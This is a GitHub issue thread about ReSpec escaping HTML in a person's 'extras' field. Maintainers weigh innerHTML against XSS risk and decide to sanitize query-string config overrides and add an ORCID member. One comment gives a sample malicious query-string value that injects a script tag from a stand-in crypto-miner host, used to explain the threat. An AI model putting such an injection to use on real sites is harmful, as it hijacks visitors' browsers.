Respec: Issue with "person" extras field

[andrea-perego]

Important info

• URL to affected spec: currently not online
• ReSpec version: 24.3.3
• [x] I did a "hard refresh", but it's still busted.

Description of problem

It seems that, if the name field in extras has HTML code as value, this is returned escaped in the document.

E.g., re-using the example in https://github.com/w3c/respec/wiki/person :

{ name: "Ben De Meester", mailto: "[email protected]", company: "Ghent University - iMinds - Data Science Lab", companyURL: "http://www.iminds.be/", url: "http://users.ugent.be/~bjdmeest/", extras: [{ name: "<img src='figures/orcid_logo.png' alt='orcid logo'/>", href: "http://orcid.org/0000-0003-0248-0987", class: "orcid" }], w3cid: "73403" }

This is what will be shown in the spec:

Ben De Meester (Ghent University - iMinds - Data Science Lab) , <img src='figures/orcid_logo.png' alt='orcid logo'/>

Here's the underlying HTML generated by ReSpec:

html <dd class="p-author h-card vcard" data-editor-id="73403"> <a class="ed_mailto u-email email p-name" href="mailto:[email protected]">Ben De Meester<!---0.248711%--></a> (<a class="p-org org h-org h-card" href="http://www.iminds.be/">Ghent University - iMinds - Data Science Lab<!---0.248711%--></a>) , <span class="orcid"><a href="http://orcid.org/0000-0003-0248-0987">&lt;img src='figures/orcid_logo.png' alt='orcid logo'/&gt;</a></span><!---0.248711%--> </dd>

[sidvishnoi]

For someone looking into fixing this:
https://github.com/w3c/respec/blob/2936011fdc52e4a608181ed088cd77a2bb38e017/src/w3c/templates/show-people.js#L81

[kodemonster]

@sidvishnoi whats the issue exactly?

[sidvishnoi]

@kodemonster We're setting textContent while we should be setting innerHTML.

[marcoscaceres]

I'm worried about supporting this, tbh. Including the HTML is XSS attack vector. We should instead add support for an image object instead.

[marcoscaceres]

(We can replicate what we do for logos here)

[saschanaz]

I'm worried about supporting this, tbh. Including the HTML is XSS attack vector.

While I agree with your concern, we already support HTML for some fields (#1594). What's the difference here? Should we block HTML support for the existing fields?

[marcoscaceres]

Should we block HTML support for the existing fields?

I think we should actually. I think we should make all configuration options idempotent and restrict them to text.

However, for headers, we should allow people to override or add their own things using HTML directly in the document. Like, in the header:

<dl id="spec-details">
   <!-- the current generated stuff would go here --> 
   <dt>My custom thing</dt>
</dl>

[marcoscaceres]

• restrict

[gabru-md]

Hi, I'd like to provide a fix if this issue is still open?
decoding the extra.name before assignment can be a fix for this, isn't it? :sweat_smile:
Thanks!

[marcoscaceres]

Decoding is not the problem: using fields intended to be text to include html is the problem.

[gabru-md]

changing the textContent to innerHTML should help then? as shown here in this comment :

@kodemonster We're setting textContent while we should be setting innerHTML.

should I provide a fix for this as it is labelled as a good first issue. I would definitely like to get started to the project :sweat_smile:

[marcoscaceres]

changing the textContent to innerHTML

Sorry, you are missing some context. Using innerHTML from uncostrained user input is bad: it’s a way for someone to hack/attack ReSpec using a xss attack.

[marcoscaceres]

What we should provide is the ability for an person to include an orcid string. We then generate the image based on the id.

[zoyron]

Greetings, @andrea-perego . I just finished understanding the syntax of Javascript. As I am new to the field of open source, and this seems like a good opportunity to learn, I would like to grab it. I would like to work on this issue under your guidance.
Thank You

[andrea-perego]

Pleased to meet you, @zoyron . Sorry, but you have to address your request to @marcoscaceres . I was just reporting the issue.

[zoyron]

@andrea-perego, sure. Thank you.

[lkttyagi]

@marcoscaceres i would like to work on this issue .can you just help me with how to start on it ?

[marcoscaceres]

@lkttyagi please see https://github.com/w3c/respec/issues/2124

[prithvihv]

What we should provide is the ability for an person to include an orcid string. We then generate the image based on the id.

hey, we would just have to authenticate the orcid string right ? the image would be the same ?

[markasoftware]

Sorry, you are missing some context. Using innerHTML from uncostrained user input is bad: it’s a way for someone to hack/attack ReSpec using a xss attack.

Isn't the ReSpec configuration trusted, since it is provided in the same document as the specifications themselves @marcoscaceres ?

[saschanaz]

Isn't the ReSpec configuration trusted

Not always, because we can override the configuration via url query. Try https://w3c.github.io/DOM-Parsing/ and https://w3c.github.io/DOM-Parsing/?specStatus=REC for example.

[markasoftware]

Should I open a separate issue for sanitizing the configuration? As noted in this thread, some properties of people (like their names) are expanded as HTML, which is an XSS vulnerability if you think about it right.

My preferred solution would be to treat the config as trusted because of the obvious convenience for editors and sanitize strings only when they come from untrusted sources, namely in override-configuration.js.

[marcoscaceres]

My preferred solution would be to treat the config as trusted because of the obvious convenience for editors and sanitize strings only when they come from untrusted sources, namely in override-configuration.js.

That seems like a sensible compromise.

[saschanaz]

I'm not sure how "untrusted sources" would be defined as currently the configuration object is merely a global variable.

[marcoscaceres]

Anything coming from a query string would be untrusted: gets HTML sanitation prior to being applied to the conf object.

[saschanaz]

What if a config object is from unencrypted external script?

[marcoscaceres]

Not sure I follow. For the external script to be included in the first place, won’t the author have to explicitly include it in the HTML?

[saschanaz]

I'd say yes... maybe we could just say "do it at your own risk".

[marcoscaceres]

The problem is not author risk... the attack is evil person on twitter crafts a malicious URL to an unsuspecting spec, and then tweets out the link: "Look at this cool new W3C Spec everyone!".

People on twitter load the spec and the URL causes a crypto-miner script to be injected via, say, ?specSubTitle=LOLs<script src="https://crypto-miner.evil/script"></script>.

[saschanaz]

It was the answer to this:

For the external script to be included in the first place, won’t the author have to explicitly include it in the HTML?

If an author somehow decides to insert any script via unencrypted HTTP URL, then a MITM attack can send a malicious script to modify respecConfig. But maybe too general problem that browsers already warn. Those script can do anything they want even without respecConfig anyway.

[marcoscaceres]

If an author somehow decides to insert any script via unencrypted HTTP URL, then a MITM attack can send a malicious script to modify respecConfig. But maybe too general problem that browsers already warn. Those script can do anything they want even without respecConfig anyway.

Yeah, agree. There is not much we can do there... if it's tls/http mixed content, then the browser will at least block the mixed content.

[saschanaz]

So, what's the decision here? Are we going to implement both orcid and HTML thing?

[marcoscaceres]

Are we going to implement both orcid and HTML thing?

Yes, we should:

1. sanitize inputs
2. add orcid member to person.

Then 2 would generate the HTML... we might need to put the orcid png into a stylesheet or get the w3c to host it for us.

[marcoscaceres]

Note that 1 could be a totally different/unrelated bug to this one.

[markasoftware]

I'll work on this over next day or two. Thanks for all the quick responses!

[marcoscaceres]

No problem. Appreciate your help, @markasoftware. If you need any help, give us a shout!

[andrea-perego]

@markasoftware , @marcoscaceres , thanks for this fix!

Just an editorial consideration:

The ORCID is now showing up after the affiliation, and before the extra fields. Since the ORCID is an information specific to the editor/contributor (as the url field), it may be more appropriate to include it just after the name (i.e., before the affiliation).